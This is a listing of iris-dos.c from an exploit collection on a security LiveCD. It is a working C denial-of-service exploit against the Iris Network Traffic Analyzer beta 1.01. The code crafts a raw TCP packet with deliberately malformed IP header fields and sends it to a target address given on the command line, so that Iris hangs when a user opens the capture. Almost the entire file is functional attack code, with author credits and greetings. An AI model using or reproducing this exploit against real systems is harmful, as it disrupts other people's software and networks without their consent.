home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / iris-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  118 lines

  1. /* Denial of Service attack against :
  2.  * Iris The Network Traffic Analyzer beta 1.01
  3.  * ------------------------------------------------
  4.  *
  5.  * Will create an incorrect packet which will cause
  6.  * Iris to hang when it is opened by a user.
  7.  *
  8.  * Vulnerability found by : grazer@digit-labs.org
  9.  * Exploit code by : grazer@digit-labs.org
  10.  *
  11.  * Respect to the guys from eEye, for there fast
  12.  * response.
  13.  *
  14.  * greetings to hit2000, hwa, synnergy, security.is
  15.  *              digit-labs.
  16.  *
  17.  * ---------------> free sk8!!!! <-----------------
  18.  *
  19.  * ------------------------------------------------
  20.  * http://www.digit-labs.org
  21.  *                           grazer@digit-labs.org
  22.  * ------------------------------------------------
  23.  */
  24.  
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <unistd.h>
  28. #include <netdb.h>
  29. #include <netinet/in.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/tcp.h>
  32. #include <sys/types.h>
  33. #include <sys/socket.h>
  34.  
  35. int build_packet(int sfd, u_long srcaddr, u_long dstaddr);
  36.  
  37. struct pseudo {
  38. u_long saddr;
  39. u_long daddr;
  40. u_char zero;
  41. u_char protocol;
  42. u_short length;
  43. };
  44.  
  45. int main(int argc,char **argv){
  46. int rawfd, check, one=1;
  47.  
  48. struct sockaddr_in raddr;
  49. struct in_addr source_ip, desti_ip;
  50. struct ip *ip;
  51. struct tcphdr *tcp;
  52.  
  53.         while (argc<3) {
  54.         fprintf(stderr, "\n\n[ IRIS DoS attack - by grazer ]");
  55.         fprintf(stderr, "\n %s localhost remotehost \n\n", argv[0] );  exit(0);}
  56.  
  57.         fprintf(stderr, "\nStarting Iris DoS...\n");
  58.         if((check=gethostbyname(argv[2])==NULL)) {
  59.         fprintf(stderr, "\nCannot resolve host %s\n", argv[2]); exit(0); }
  60.  
  61.         source_ip.s_addr= inet_addr(argv[1]);
  62.         desti_ip.s_addr =       inet_addr(argv[2]);
  63.  
  64.         if ((rawfd=socket(PF_INET, SOCK_RAW, IPPROTO_TCP))<0) {
  65.         fprintf(stderr, "\n You need root for this..");
  66.         exit(0); }
  67.  
  68.         setsockopt(rawfd, IPPROTO_IP, IP_HDRINCL, &one, 1);
  69.  
  70.         build_packet(rawfd,source_ip.s_addr, desti_ip.s_addr);
  71.  
  72.     close(rawfd);
  73. return 1; }
  74.  
  75.  
  76. int build_packet(int sfd, u_long srcaddr,  u_long dstaddr) {
  77.  
  78. u_char packet[sizeof(struct ip) + sizeof(struct pseudo) + sizeof(struct tcphdr)];
  79. struct sockaddr_in sin;
  80. struct in_addr src_inaddr, dest_inaddr;
  81. struct ip *ip = (struct ip *) packet;
  82. struct pseudo *pseudo = (struct pseudo *) (packet + sizeof(struct ip));
  83. struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ip)
  84. + sizeof(struct pseudo));
  85.  
  86.         bzero(packet, sizeof(packet));
  87.         bzero(&sin,sizeof(sin));
  88.  
  89.         src_inaddr.s_addr = srcaddr;
  90.         dest_inaddr.s_addr = dstaddr;
  91.  
  92.         pseudo->saddr = srcaddr;
  93.         pseudo->daddr = dstaddr;
  94.         pseudo->zero = 1;
  95.         pseudo->protocol=IPPROTO_TCP;
  96.         pseudo->length = htons(sizeof (struct tcphdr));
  97.  
  98.         ip->ip_v = -1;
  99.         ip->ip_hl = -1;
  100.         ip->ip_id = -1;
  101.         ip->ip_src = src_inaddr;
  102.         ip->ip_dst = dest_inaddr;
  103.         ip->ip_p = IPPROTO_TCP;
  104.         ip->ip_ttl = 40;
  105.         ip->ip_off = -1;
  106.         ip->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  107.         tcp->seq = htonl(rand());
  108.         tcp->ack = htonl(rand());
  109.  
  110.         sin.sin_family=AF_INET;
  111.         sin.sin_addr.s_addr=dstaddr;
  112.         sendto(sfd,packet,sizeof(struct ip) + sizeof(struct tcphdr), 0,
  113.         (struct sockaddr *) &sin,sizeof(sin));
  114.  
  115.         fprintf(stderr, "\n Packet send... \n\n" );
  116.  
  117.    return 1;}
  118.